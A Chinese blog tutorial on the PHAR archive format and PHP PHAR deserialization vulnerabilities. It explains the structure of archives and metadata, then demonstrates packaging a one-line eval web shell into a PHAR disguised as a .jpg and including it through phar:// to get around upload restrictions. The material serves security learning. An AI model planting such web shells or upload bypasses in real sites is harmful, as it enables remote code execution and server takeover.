写这篇博客的目的只有两个
[代码审计篇]
中关于php反序列化漏洞的审计作铺垫Win10 +Ubuntu
Phpstudy_pro
Sublime_Text 3
PHAR的使用需要将php.ini设置phar.readonly设置为Off才能用于PHAR对象
PHAR 这个词是PHP和 Archive的组合词,基于Java开发人员熟悉的jar(Java Archive)
文件头:
用来辨别一个文件真实内容,可修改(比如CTF中的杂项类就会有涉及修改文件头的试题)
phar可利用的文件操作函数
可以将多个文件归入一个本地文件夹,也可以包含一个文件
PHAR文件是一种打包格式,通过将多数PHP文件和其他资源(如图像)捆绑到一个归档文件中来实现应用程序和库的分发。且所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的php代码。
PHAR存档最有特色的一种方便的方法是将多个文件分组为一个文件。这样,PHARr存档提供了一种将完整的php应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘。
PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行PHAR存档。
无论格式如何,每个归档都包含三个部分:
1.存根(stub)
一个可以引导归档的php文件。存根必须包含__HALT_COMPILER();
语句,并且默认存根拥有在不启用PHAR扩展的情况下运行PHAR文件的能力.
识别phar拓展的标识,格式:xxx(可自定义
),对应的函数是Phar::setStub()
2.清单(manifest describing the contents)
清单详细说明了存归档的内容。
被压缩文件的权限、属性等信息都放在这里。这部分会以序列化的形式存储用户自定义的meta-data(漏洞利用核心)
。对应函数Phar::setMetadata()可自定义phar归档元数据.
3.文件内容 (file contents)
归档中包含的原始文件,即被压缩文件的内容.
一般情况下,利用Phar反序列漏洞有几个条件:
可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控
先用下面这个例子来体会一下PHAR的基本操作:
随便写个一句话owl.php
@eval($_POST["owl"]);
?>
然后将owl.php压缩,并将后缀改为.jpg
先用phar.php创建一个owl.phar压缩包
$phar = new Phar('owl.phar'); //
$phar->buildFromDirectory('/root/PHP_Serilize');//buildFromDirectory指定压缩的目录
$phar->compressFiles(Phar::GZ); //Phar::GZ表示使用gzip来压缩此文件
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('owl.php'));//setSub用来设置启动加载的文件
?>
使用PHAR://去包含上面生成的owl.php(注意路径)
include('phar://./owl.jpg/owl.php');
?>
即可包含成功!
使用Phar://伪协议流可以绕过一些上传限制,大多数情况下和文件包含一起使用
# 漏洞触发
利用Phar:// 伪协议读取phar文件时
会反序列化meta-data储存的信息
tip:系统文件操作的函数一般都能使用伪协议流,而Phar:// 自然也能如此
如果你对关于这两个实战姿势很感兴趣,还请移步到我的上一篇博客[反序列化篇]史上最全PHP反序列化漏洞实例复现姿势详解(补充ing)----会一直更新补充
,旨在收集全网的php反序列漏洞.
这已经是我的第六篇博客了,目前认为写博客的感觉还是很爽的,比起把笔记放着自己看(几乎不看),倒不如公开出来分享到社区,因为这样,那日益增加的粉丝和访问量会让我有一种责任感,而这种感觉恰好能督促我每天都学习!
参考文章
维基百科
先知
四个实例递进php反序列化漏洞理解